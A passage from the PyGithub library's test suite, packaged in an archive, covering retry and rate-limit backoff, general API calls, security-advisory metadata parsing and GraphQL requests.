with self.mock_retry_now(1644768014): retry = test_increment(retry, response(), expected_total=0, expected_backoff=60) test_increment(retry, response(), expect_retry_error=True) def test_secondary_rate_error_with_reset_and_exponential_backoff(self): retry = github.GithubRetry(total=3, backoff_factor=10, secondary_rate_wait=15) response = self.response_func(SecondaryRateLimitJson, 1644768012) test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) # test 12 seconds before reset, expect secondary wait seconds of 15 with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=2, expected_backoff=15, has_reset=False, ) with self.mock_retry_now(1644768000): retry = test_increment( retry, response(), expected_total=1, expected_backoff=15, expected_retry_backoff=20, has_reset=False, ) # test 2 seconds after reset, exponential backoff exceeds secondary wait seconds of 15 with self.mock_retry_now(1644768014): retry = test_increment( retry, response(), expected_total=0, expected_backoff=15, expected_retry_backoff=40, ) test_increment(retry, response(), expect_retry_error=True) def test_secondary_rate_error_without_reset(self): retry = github.GithubRetry(total=3) response = self.response_func(SecondaryRateLimitJson, reset=None) test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) retry = test_increment( retry, response(), expected_total=2, expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, ) retry = test_increment( retry, response(), expected_total=1, expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, ) retry = test_increment( retry, response(), expected_total=0, expected_backoff=DEFAULT_SECONDARY_RATE_WAIT, ) test_increment(retry, response(), expect_retry_error=True) def test_secondary_rate_error_without_reset_with_exponential_backoff(self): retry = github.GithubRetry(total=3, backoff_factor=10, secondary_rate_wait=5) response = self.response_func(SecondaryRateLimitJson, reset=None) test_increment = self.get_test_increment_func(SecondaryRateLimitMessage) retry = test_increment(retry, response(), expected_total=2, expected_backoff=5) retry = test_increment( retry, response(), expected_total=1, expected_backoff=5, expected_retry_backoff=20, ) retry = test_increment( retry, response(), expected_total=0, expected_backoff=5, expected_retry_backoff=40, ) test_increment(retry, response(), expect_retry_error=True) def do_test_default_behaviour(self, retry, response): expected = Retry(total=retry.total, backoff_factor=retry.backoff_factor) self.assertTrue(retry.total > 0) for _ in range(retry.total): retry = retry.increment("TEST", "URL", response) expected = expected.increment("TEST", "URL", response) self.assertEqual(expected.total, retry.total) self.assertEqual(expected.get_backoff_time(), retry.get_backoff_time()) with self.assertRaises(urllib3.exceptions.MaxRetryError): retry.increment("TEST", "URL", response) with self.assertRaises(urllib3.exceptions.MaxRetryError): expected.increment("TEST", "URL", response) def test_403_with_retry_after(self): retry = github.GithubRetry(total=3) response = urllib3.response.HTTPResponse(status=403, headers={"Retry-After": "123"}) self.do_test_default_behaviour(retry, response) def test_403_with_non_retryable_error(self): retry = github.GithubRetry(total=3) with self.assertRaises(github.BadUserAgentException): retry.increment( "TEST", "URL", self.response_func('{"message":"Missing or invalid User Agent string."}')(), ) def test_misc_response(self): retry = github.GithubRetry(total=3) response = urllib3.response.HTTPResponse() self.do_test_default_behaviour(retry, response) def test_misc_response_exponential_backoff(self): retry = github.GithubRetry(total=3, backoff_factor=10) response = urllib3.response.HTTPResponse() self.do_test_default_behaviour(retry, response) def test_error_in_get_content(self): retry = github.GithubRetry(total=3) response = urllib3.response.HTTPResponse(status=403, reason="NOT GOOD") with mock.patch.object(retry, "_GithubRetry__log") as log: with self.assertRaises(github.GithubException) as exp: retry.increment("TEST", "URL", response) self.assertIsNone(exp.exception.message) self.assertEqual(403, exp.exception.status) self.assertEqual("NOT GOOD", exp.exception.data) self.assertEqual({}, exp.exception.headers) self.assertIsInstance(exp.exception.__cause__, RuntimeError) self.assertEqual(("Failed to inspect response message",), exp.exception.__cause__.args) self.assertIsInstance(exp.exception.__cause__.__cause__, ValueError) self.assertEqual( ("Unable to determine whether fp is closed.",), exp.exception.__cause__.__cause__.args, ) log.assert_called_once_with(logging.INFO, "Request TEST URL failed with 403: NOT GOOD") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Github_.py0000644000175100001660000005352214756101563016072 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Peter Golm # # Copyright 2013 Steve Brown # # Copyright 2013 Vincent Jacques # # Copyright 2014 Tyler Treat # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Bruce Richardson # # Copyright 2018 Svend Sorensen # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Nikolay Edigaryev # # Copyright 2020 Omar Brikaa # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Joseph Henrich # # Copyright 2024 Enrico Minack # # Copyright 2024 Min RK # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone import github from . import Framework class Github(Framework.TestCase): def testGetGists(self): self.assertListKeyBegin( self.g.get_gists(), lambda g: g.id, [ "2729695", "2729656", "2729597", "2729584", "2729569", "2729554", "2729543", "2729537", "2729536", "2729533", "2729525", "2729522", "2729519", "2729515", "2729506", "2729487", "2729484", "2729482", "2729441", "2729432", "2729420", "2729398", "2729372", "2729371", "2729351", "2729346", "2729316", "2729304", "2729296", "2729276", "2729272", "2729265", "2729195", "2729160", "2729143", "2729127", "2729119", "2729113", "2729103", "2729069", "2729059", "2729051", "2729029", "2729027", "2729026", "2729022", "2729002", "2728985", "2728979", "2728964", "2728937", "2728933", "2728884", "2728869", "2728866", "2728855", "2728854", "2728853", "2728846", "2728825", "2728814", "2728813", "2728812", "2728805", "2728802", "2728800", "2728798", "2728797", "2728796", "2728793", "2728758", "2728754", "2728751", "2728748", "2728721", "2728716", "2728715", "2728705", "2728701", "2728699", "2728697", "2728688", "2728683", "2728677", "2728649", "2728640", "2728625", "2728620", "2728615", "2728614", "2728565", "2728564", "2728554", "2728523", "2728519", "2728511", "2728497", "2728496", "2728495", "2728487", ], ) def testGetGistsWithSince(self): self.assertListKeyBegin( self.g.get_gists(since=datetime(2018, 10, 2, 10, 38, 30, 00)), lambda g: g.id, [ "69b8a5831b74946db944c5451017fa40", "c22050a8705e93d170e0d4ca9c02e40c", "a7a95e1a194e07960364a5b32c56ac5f", "a25d9ace89b574f95bf0724f95a84fc2", "3195465", ], ) def testGetGlobalAdvisories(self): self.assertListKeyEqual( self.g.get_global_advisories(ecosystem="pub"), lambda a: a.ghsa_id, [ "GHSA-9324-jv53-9cc8", "GHSA-9f2c-xxfm-32mj", "GHSA-4xh4-v2pq-jvhm", "GHSA-jwpw-q68h-r678", "GHSA-4rgh-jx4f-qfcq", ], ) def testGetGlobalAdvisoriesByGHSA(self): self.assertListKeyEqual( self.g.get_global_advisories(ghsa_id="GHSA-9324-jv53-9cc8"), lambda a: a.ghsa_id, [ "GHSA-9324-jv53-9cc8", ], ) def testGetGlobalAdvisoriesByCVE(self): self.assertListKeyEqual( self.g.get_global_advisories(cve_id="CVE-2023-38503"), lambda a: a.ghsa_id, [ "GHSA-gggm-66rh-pp98", ], ) def testGetGlobalAdvisoriesManyFilters(self): cases = [ {"cwes": [200, 900], "affects": ["directus", "made_up"], "modified": ">2023-07-01"}, {"cwes": ["200", "900"], "affects": ["directus"], "updated": ">2023-07-01"}, {"cwes": "200,900", "affects": "directus", "published": ">2023-07-01"}, ] for case in cases: with self.subTest(**case): advisories = self.g.get_global_advisories( type="reviewed", ecosystem="npm", severity="medium", # cwes=case["cwes"], is_withdrawn=False, # affects=case["affects"], # modified=">2023-07-01", direction="desc", sort="updated", **case, ) self.assertListKeyEqual( advisories, lambda a: a.ghsa_id, [ "GHSA-gggm-66rh-pp98", ], ) def testGetHooks(self): hooks = self.g.get_hooks() hook = hooks[0] self.assertEqual(hook.name, "activecollab") self.assertEqual(hook.supported_events, ["push"]) self.assertEqual(hook.events, ["push"]) self.assertEqual( hook.schema, [ ["string", "url"], ["string", "token"], ["string", "project_id"], ["string", "milestone_id"], ["string", "category_id"], ], ) def testGetEmojis(self): emojis = self.g.get_emojis() first = emojis.get("+1") self.assertEqual(first, "https://github.global.ssl.fastly.net/images/icons/emoji/+1.png?v5") def testGetHook(self): hook = self.g.get_hook("activecollab") self.assertEqual(hook.name, "activecollab") self.assertEqual(hook.supported_events, ["push"]) self.assertEqual(hook.events, ["push"]) self.assertEqual( hook.schema, [ ["string", "url"], ["string", "token"], ["string", "project_id"], ["string", "milestone_id"], ["string", "category_id"], ], ) self.assertEqual(repr(hook), 'HookDescription(name="activecollab")') def testGetHookDelivery(self): delivery = self.g.get_hook_delivery(257993, 12345) self.assertEqual(delivery.id, 12345) self.assertEqual(delivery.guid, "abcde-12345") self.assertEqual( delivery.delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(delivery.redelivery, False) self.assertEqual(delivery.duration, 0.27) self.assertEqual(delivery.status, "OK") self.assertEqual(delivery.status_code, 200) self.assertIsNone(delivery.throttled_at) self.assertEqual(delivery.event, "issues") self.assertEqual(delivery.action, "opened") self.assertEqual(delivery.installation_id, 123) self.assertEqual(delivery.repository_id, 456) self.assertEqual(delivery.url, "https://www.example-webhook.com") self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) self.assertEqual(delivery.request.payload, {"action": "opened"}) self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) self.assertEqual(delivery.response.payload, "ok") def testGetHookDeliveries(self): deliveries = list(self.g.get_hook_deliveries(257993)) self.assertEqual(len(deliveries), 1) self.assertEqual(deliveries[0].id, 12345) self.assertEqual(deliveries[0].guid, "abcde-12345") self.assertEqual( deliveries[0].delivered_at, datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), ) self.assertEqual(deliveries[0].redelivery, False) self.assertEqual(deliveries[0].duration, 0.27) self.assertEqual(deliveries[0].status, "OK") self.assertEqual(deliveries[0].status_code, 200) self.assertEqual(deliveries[0].event, "issues") self.assertEqual(deliveries[0].action, "opened") self.assertEqual(deliveries[0].installation_id, 123) self.assertEqual(deliveries[0].repository_id, 456) self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") def testGetRepoFromFullName(self): self.assertEqual( self.g.get_repo("jacquev6/PyGithub").description, "Python library implementing the full Github API v3", ) def testGetRepoFromId(self): self.assertEqual( self.g.get_repo(3544490).description, "Python library implementing the full Github API v3", ) def testGetGitignoreTemplates(self): self.assertEqual( self.g.get_gitignore_templates(), [ "Actionscript", "Android", "AppceleratorTitanium", "Autotools", "Bancha", "C", "C++", "CFWheels", "CMake", "CSharp", "CakePHP", "Clojure", "CodeIgniter", "Compass", "Concrete5", "Coq", "Delphi", "Django", "Drupal", "Erlang", "ExpressionEngine", "Finale", "ForceDotCom", "FuelPHP", "GWT", "Go", "Grails", "Haskell", "Java", "Jboss", "Jekyll", "Joomla", "Jython", "Kohana", "LaTeX", "Leiningen", "LemonStand", "Lilypond", "Lithium", "Magento", "Maven", "Node", "OCaml", "Objective-C", "Opa", "OracleForms", "Perl", "PlayFramework", "Python", "Qooxdoo", "Qt", "R", "Rails", "RhodesRhomobile", "Ruby", "Scala", "Sdcc", "SeamGen", "SketchUp", "SugarCRM", "Symfony", "Symfony2", "SymphonyCMS", "Target3001", "Tasm", "Textpattern", "TurboGears2", "Unity", "VB.Net", "Waf", "Wordpress", "Yii", "ZendFramework", "gcov", "nanoc", "opencart", ], ) def testGetGitignoreTemplate(self): t = self.g.get_gitignore_template("Python") self.assertEqual(t.name, "Python") self.assertEqual( t.source, "*.py[cod]\n\n# C extensions\n*.so\n\n# Packages\n*.egg\n*.egg-info\ndist\nbuild\neggs\nparts\nbin\nvar\nsdist\ndevelop-eggs\n.installed.cfg\nlib\nlib64\n\n# Installer logs\npip-log.txt\n\n# Unit test / coverage reports\n.coverage\n.tox\nnosetests.xml\n\n# Translations\n*.mo\n\n# Mr Developer\n.mr.developer.cfg\n.project\n.pydevproject\n", ) self.assertEqual(repr(t), 'GitignoreTemplate(name="Python")') t = self.g.get_gitignore_template("C++") self.assertEqual(t.name, "C++") self.assertEqual( t.source, "# Compiled Object files\n*.slo\n*.lo\n*.o\n\n# Compiled Dynamic libraries\n*.so\n*.dylib\n\n# Compiled Static libraries\n*.lai\n*.la\n*.a\n", ) def testStringOfNotSet(self): self.assertEqual(str(github.GithubObject.NotSet), "NotSet") def testGetUserById(self): self.assertEqual(self.g.get_user_by_id(583231).login, "octocat") def testGetUsers(self): self.assertListKeyBegin( self.g.get_users(), lambda u: u.login, [ "mojombo", "defunkt", "pjhyett", "wycats", "ezmobius", "ivey", "evanphx", "vanpelt", "wayneeseguin", "brynary", "kevinclark", "technoweenie", "macournoyer", "takeo", "Caged", "topfunky", "anotherjesse", "roland", "lukas", "fanvsfan", "tomtt", "railsjitsu", "nitay", "kevwil", "KirinDave", "jamesgolick", "atmos", "errfree", "mojodna", "bmizerany", "jnewland", "joshknowles", "hornbeck", "jwhitmire", "elbowdonkey", "reinh", "timocratic", "bs", "rsanheim", "schacon", "uggedal", "bruce", "sam", "mmower", "abhay", "rabble", "benburkert", "indirect", "fearoffish", "ry", "engineyard", "jsierles", "tweibley", "peimei", "brixen", "tmornini", "outerim", "daksis", "sr", "lifo", "rsl", "imownbey", "dylanegan", "jm", "willcodeforfoo", "jvantuyl", "BrianTheCoder", "freeformz", "hassox", "automatthew", "queso", "lancecarlson", "drnic", "lukesutton", "danwrong", "hcatlin", "jfrost", "mattetti", "ctennis", "lawrencepit", "marcjeanson", "grempe", "peterc", "ministrycentered", "afarnham", "up_the_irons", "evilchelu", "heavysixer", "brosner", "danielmorrison", "danielharan", "kvnsmth", "collectiveidea", "canadaduane", "nate", "dstrelau", "sunny", "dkubb", "jnicklas", "richcollins", "simonjefford", ], ) def testGetUsersSince(self): self.assertListKeyBegin(self.g.get_users(since=1000), lambda u: u.login, ["sbecker"]) def testGetOrganizations(self): self.assertListKeyBegin( self.g.get_organizations(), lambda u: u.login, [ "errfree", "engineyard", "ministrycentered", "collectiveidea", "ogc", "sevenwire", "entryway", ], ) def testGetOrganizationsSince(self): self.assertListKeyBegin( self.g.get_organizations(since=1000), lambda u: u.login, [ "railslove", "railsdog", "netguru", "webhostio", "animikii", "sauspiel", "wherecloud", "triveos", ], ) def testGetRepos(self): self.assertListKeyBegin( self.g.get_repos(), lambda r: r.name, [ "grit", "merb-core", "rubinius", "god", "jsawesome", "jspec", "exception_logger", "ambition", ], ) def testGetReposSince(self): self.assertListKeyBegin( self.g.get_repos(since=1000), lambda r: r.name, [ "jquery-humanize-messages-plugin", "4slicer", "fixture-scenarios", "mongrel_proctitle", "rails-plugins", ], ) def testGetLicenses(self): self.assertListKeyBegin( self.g.get_licenses(), lambda r: r.name, [ "GNU General Public License v3.0", 'BSD 2-Clause "Simplified" License', "MIT License", "GNU Lesser General Public License v2.1", "GNU General Public License v2.0", "GNU Lesser General Public License v3.0", "Mozilla Public License 2.0", 'BSD 3-Clause "New" or "Revised" License', ], ) def testGetLicense(self): self.assertEqual( self.g.get_license("mit").description, "A short and simple permissive license with conditions only requiring preservation of copyright and license notices. Licensed works, modifications, and larger works may be distributed under different terms and without source code.", ) def testGetEvents(self): self.assertListKeyBegin( self.g.get_events(), lambda e: e.type, ["PushEvent", "WatchEvent", "PushEvent", "CommitCommentEvent"], ) def testRequester(self): assert self.g.requester is self.g.__requester ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GlobalAdvisory.py0000644000175100001660000002424014756101563017425 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2023 Enrico Minack # # Copyright 2023 Joseph Henrich # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime, timezone from decimal import Decimal import github.GlobalAdvisory from . import Framework class GlobalAdvisory(Framework.TestCase): advisory: github.GlobalAdvisory.GlobalAdvisory def setUp(self): super().setUp() def testAttributes(self): self.advisory = self.g.get_global_advisory("GHSA-wqc8-x2pr-7jqh") self.assertListKeyEqual( self.advisory.credits, lambda e: (e.user.login, e.type), [ ("loechel", "remediation_developer"), ("Quasar0147", "reporter"), ("despawningbone", "reporter"), ("dataflake", "coordinator"), ("nneonneo", "other"), ], ) self.assertEqual(self.advisory.cve_id, "CVE-2023-37271") self.assertEqual(self.advisory.cvss.version, Decimal("3.1")) self.assertEqual(self.advisory.cvss.score, Decimal("8.4")) self.assertEqual(self.advisory.cvss.vector_string, "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L") self.assertEqual( self.advisory.cvss_severities, { "cvss_v3": {"vector_string": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L", "score": 8.4}, "cvss_v4": {"vector_string": None, "score": 0.0}, }, ) self.assertListKeyEqual( self.advisory.cwes, lambda e: (e.cwe_id, e.name), [ ("CWE-913", "Improper Control of Dynamically-Managed Code Resources"), ], ) self.assertEqual( self.advisory.description[:100], "### Impact\n\nRestrictedPython does not check access to stack frames and their attributes. Stack frame", ) self.assertEqual(self.advisory.epss, {"percentage": 0.00156, "percentile": 0.52841}) self.assertEqual(self.advisory.ghsa_id, "GHSA-wqc8-x2pr-7jqh") self.assertEqual(self.advisory.github_reviewed_at, datetime(2023, 7, 10, 21, 53, 22, tzinfo=timezone.utc)) self.assertEqual( self.advisory.html_url, "https://github.com/advisories/GHSA-wqc8-x2pr-7jqh", ) self.assertListEqual( self.advisory.identifiers, [{"type": "GHSA", "value": "GHSA-wqc8-x2pr-7jqh"}, {"type": "CVE", "value": "CVE-2023-37271"}], ) self.assertEqual(self.advisory.nvd_published_at, datetime(2023, 7, 11, 18, 15, 20, tzinfo=timezone.utc)) self.assertEqual( self.advisory.published_at, datetime(2023, 7, 10, 21, 53, 22, tzinfo=timezone.utc), ) self.assertListEqual( self.advisory.references, [ "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh", "https://github.com/zopefoundation/RestrictedPython/commit/c8eca66ae49081f0016d2e1f094c3d72095ef531", "https://nvd.nist.gov/vuln/detail/CVE-2023-37271", "https://github.com/pypa/advisory-database/tree/main/vulns/restrictedpython/PYSEC-2023-118.yaml", "https://github.com/advisories/GHSA-wqc8-x2pr-7jqh", ], ) self.assertEqual( self.advisory.repository_advisory_url, "https://api.github.com/repos/zopefoundation/RestrictedPython/security-advisories/GHSA-wqc8-x2pr-7jqh", ) self.assertEqual(self.advisory.severity, "high") self.assertEqual( self.advisory.source_code_location, "https://github.com/zopefoundation/RestrictedPython", ) self.assertEqual( self.advisory.summary, "RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape", ) self.assertEqual( self.advisory.type, "reviewed", ) self.assertEqual(self.advisory.updated_at, datetime(2023, 11, 7, 5, 5, 13, tzinfo=timezone.utc)) self.assertEqual(self.advisory.url, "https://api.github.com/advisories/GHSA-wqc8-x2pr-7jqh") self.assertListKeyEqual( self.advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [ (("pip", "RestrictedPython"), None, [], "< 5.3"), (("pip", "RestrictedPython"), None, [], ">= 6.0a1.dev0, < 6.1"), (("pip", "restrictedpython"), None, [], ">= 0, < 5.3"), ], ) self.assertEqual(self.advisory.withdrawn_at, None) def testNewlyReleased(self): """ Test an advisory that was freshly released and does not have values for all fields. """ self.advisory = self.g.get_global_advisory("GHSA-cx3j-qqxj-9597") self.assertListKeyEqual( self.advisory.credits, lambda e: (e.user.login, e.type), [], ) self.assertEqual(self.advisory.cve_id, "CVE-2023-3481") self.assertEqual(self.advisory.cvss.version, None) self.assertEqual(self.advisory.cvss.score, None) self.assertEqual(self.advisory.cvss.vector_string, None) self.assertListKeyEqual( self.advisory.cwes, lambda e: (e.cwe_id, e.name), [ ("CWE-80", "Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)"), ("CWE-116", "Improper Encoding or Escaping of Output"), ], ) self.assertEqual( self.advisory.description, "### Impact\nCritters version 0.0.17-0.0.19 have an issue when parsing..." ) self.assertEqual(self.advisory.ghsa_id, "GHSA-cx3j-qqxj-9597") self.assertEqual( self.advisory.github_reviewed_at, datetime(2023, 8, 11, 18, 57, 53, tzinfo=timezone.utc), ) self.assertEqual( self.advisory.html_url, "https://github.com/advisories/GHSA-cx3j-qqxj-9597", ) self.assertListEqual( self.advisory.identifiers, [{"type": "GHSA", "value": "GHSA-cx3j-qqxj-9597"}, {"type": "CVE", "value": "CVE-2023-3481"}], ) self.assertEqual(self.advisory.nvd_published_at, None) self.assertEqual( self.advisory.published_at, datetime(2023, 8, 11, 18, 57, 53, tzinfo=timezone.utc), ) self.assertListEqual( self.advisory.references, [ "https://github.com/GoogleChromeLabs/critters/security/advisories/GHSA-cx3j-qqxj-9597", "https://github.com/GoogleChromeLabs/critters/pull/133", "https://github.com/GoogleChromeLabs/critters/commit/7757902c9e0b3285d516359b3cb602cd9d50d80e", "https://github.com/advisories/GHSA-cx3j-qqxj-9597", ], ) self.assertEqual( self.advisory.repository_advisory_url, "https://api.github.com/repos/GoogleChromeLabs/critters/security-advisories/GHSA-cx3j-qqxj-9597", ) self.assertEqual(self.advisory.severity, "high") self.assertEqual( self.advisory.source_code_location, "https://github.com/GoogleChromeLabs/critters", ) self.assertEqual( self.advisory.summary, "Critters Cross-site Scripting Vulnerability", ) self.assertEqual( self.advisory.type, "reviewed", ) self.assertEqual( self.advisory.updated_at, datetime(2023, 8, 11, 18, 57, 54, tzinfo=timezone.utc), ) self.assertEqual( self.advisory.url, "https://api.github.com/advisories/GHSA-cx3j-qqxj-9597", ) self.assertListKeyEqual( self.advisory.vulnerabilities, lambda e: ( (e.package.ecosystem, e.package.name), e.patched_versions, e.vulnerable_functions, e.vulnerable_version_range, ), [(("npm", "critters"), None, [], ">= 0.0.17, <= 0.0.19")], ) self.assertEqual(self.advisory.withdrawn_at, None) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/GraphQl.py0000644000175100001660000003431014756101563016041 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict import github import github.GithubException import github.Organization import github.Repository import github.RepositoryDiscussion import github.RepositoryDiscussionComment import github.Requester from github import Github from . import Framework class GraphQl(Framework.TestCase): def setUp(self): super().setUp() def expected(self, base_url: str = "https://github.com") -> Dict[Any, Any]: return { "actor": { "avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": f"{base_url}/heitorpolidoro", }, "clientMutationId": None, } def testRequesterGraphQlPrefix(self): get_graphql_prefix = github.Requester.Requester.get_graphql_prefix assert "/graphql" == get_graphql_prefix(None) assert "/graphql" == get_graphql_prefix("") assert "/graphql" == get_graphql_prefix("/") assert "/api/graphql" == get_graphql_prefix("/api/v3") assert "/path/to/github/api/graphql" == get_graphql_prefix("/path/to/github/api/v3") assert "/path/to/github/graphql" == get_graphql_prefix("/path/to/github") def testDefaultUrl(self): pull = self.g.get_repo("PyGithub/PyGithub").get_pull(31) response = pull.disable_automerge() assert response == self.expected() def testOtherUrl(self): base_url = "https://my.enterprise.com/api/v3" gh = Github(base_url=base_url) pull = gh.get_repo("PyGithub/PyGithub").get_pull(31) response = pull.disable_automerge() assert response == self.expected(base_url) def testOtherPort(self): base_url = "https://my.enterprise.com:8080/api/v3" gh = Github(base_url=base_url) pull = gh.get_repo("PyGithub/PyGithub").get_pull(31) response = pull.disable_automerge() assert response == self.expected(base_url) def testNode(self): requester = self.g._Github__requester headers, data = requester.graphql_node("D_kwDOADYVqs4ATJZD", "title", "Discussion") self.assertTrue(headers) self.assertEqual( data.get("data", {}).get("node", {}).get("title"), "Is there a way to search if a string present in default branch?", ) # non-existing node should throw a NOT FOUND exception with self.assertRaises(github.UnknownObjectException) as e: requester.graphql_node("D_abcdefgh", "title", "Discussion") self.assertEqual(e.exception.status, 404) self.assertEqual( e.exception.data, { "data": {"node": None}, "errors": [ { "type": "NOT_FOUND", "path": ["node"], "locations": [{"line": 3, "column": 15}], "message": "Could not resolve to a node with the global id of 'D_abcdefgh'", } ], }, ) self.assertEqual(e.exception.message, "Could not resolve to a node with the global id of 'D_abcdefgh'") # wrong type should throw an exception with self.assertRaises(github.GithubException) as e: requester.graphql_node("D_kwDOADYVqs4ATJZD", "login", "User") self.assertEqual(e.exception.message, "Retrieved User object is of different type: Discussion") self.assertEqual(e.exception.status, 400) self.assertEqual(e.exception.data, {"data": {"node": {"__typename": "Discussion"}}}) def testNodeClass(self): requester = self.g._Github__requester discussion = requester.graphql_node_class( "D_kwDOADYVqs4ATJZD", "title", github.RepositoryDiscussion.RepositoryDiscussion, "Discussion" ) self.assertEqual(discussion.title, "Is there a way to search if a string present in default branch?") # non-existing node should throw a NOT FOUND exception with self.assertRaises(github.UnknownObjectException) as e: requester.graphql_node_class( "D_abcdefgh", "title", github.RepositoryDiscussion.RepositoryDiscussion, "Discussion" ) self.assertEqual(e.exception.status, 404) self.assertEqual( e.exception.data, { "data": {"node": None}, "errors": [ { "type": "NOT_FOUND", "path": ["node"], "locations": [{"line": 3, "column": 15}], "message": "Could not resolve to a node with the global id of 'D_abcdefgh'", } ], }, ) self.assertEqual(e.exception.message, "Could not resolve to a node with the global id of 'D_abcdefgh'") # wrong type should throw an exception with self.assertRaises(github.GithubException) as e: requester.graphql_node_class( "D_kwDOADYVqs4ATJZD", "login", github.RepositoryDiscussion.RepositoryDiscussion, "User" ) self.assertEqual(e.exception.message, "Retrieved User object is of different type: Discussion") self.assertEqual(e.exception.status, 400) self.assertEqual(e.exception.data, {"data": {"node": {"__typename": "Discussion"}}}) def testQuery(self): requester = self.g._Github__requester query = """ query Q($owner: String!, $name: String!) { repository(owner: $owner, name: $name) { url } }""" variables = {"owner": "PyGithub", "name": "PyGithub"} header, data = requester.graphql_query(query, variables) self.assertTrue(header) self.assertEqual(data, {"data": {"repository": {"url": "https://github.com/PyGithub/PyGithub"}}}) def testQueryRestClass(self): requester = self.g._Github__requester query = """ query Q($owner: String!, $name: String!) { repository(owner: $owner, name: $name) { url } }""" variables = {"owner": "PyGithub", "name": "PyGithub"} repo = requester.graphql_query_class(query, variables, ["repository"], github.Repository.Repository) self.assertIsInstance(repo, github.Repository.Repository) self.assertEqual(repo.html_url, "https://github.com/PyGithub/PyGithub") def testQueryGraphQlClass(self): requester = self.g._Github__requester query = """ query Q($id: ID!) { node(id: $id) { ... on DiscussionComment { url } } }""" variables = {"id": "DC_kwDOADYVqs4AU3Mg"} comment = requester.graphql_query_class( query, variables, ["node"], github.RepositoryDiscussionComment.RepositoryDiscussionComment ) self.assertIsInstance(comment, github.RepositoryDiscussionComment.RepositoryDiscussionComment) self.assertEqual( comment.html_url, "https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5468960" ) def testMutation(self): requester = self.g._Github__requester header, data = requester.graphql_named_mutation( "followOrganization", {"organizationId": "O_kgDOAKxBpA"}, "organization { name }" ) self.assertTrue(header) self.assertEqual(data, {"organization": {"name": "PyGithub"}}) def testMutationClass(self): requester = self.g._Github__requester org = requester.graphql_named_mutation_class( "followOrganization", {"organizationId": "O_kgDOAKxBpA"}, "organization { name }", "organization", github.Organization.Organization, ) self.assertEqual(org.name, "PyGithub") def testPaginationAndRestIntegration(self): repo = self.g.get_repo("PyGithub/PyGithub") discussion_schema = """ id url number author { login avatarUrl url } repository { owner { login } name issues(first: 10) { totalCount pageInfo { 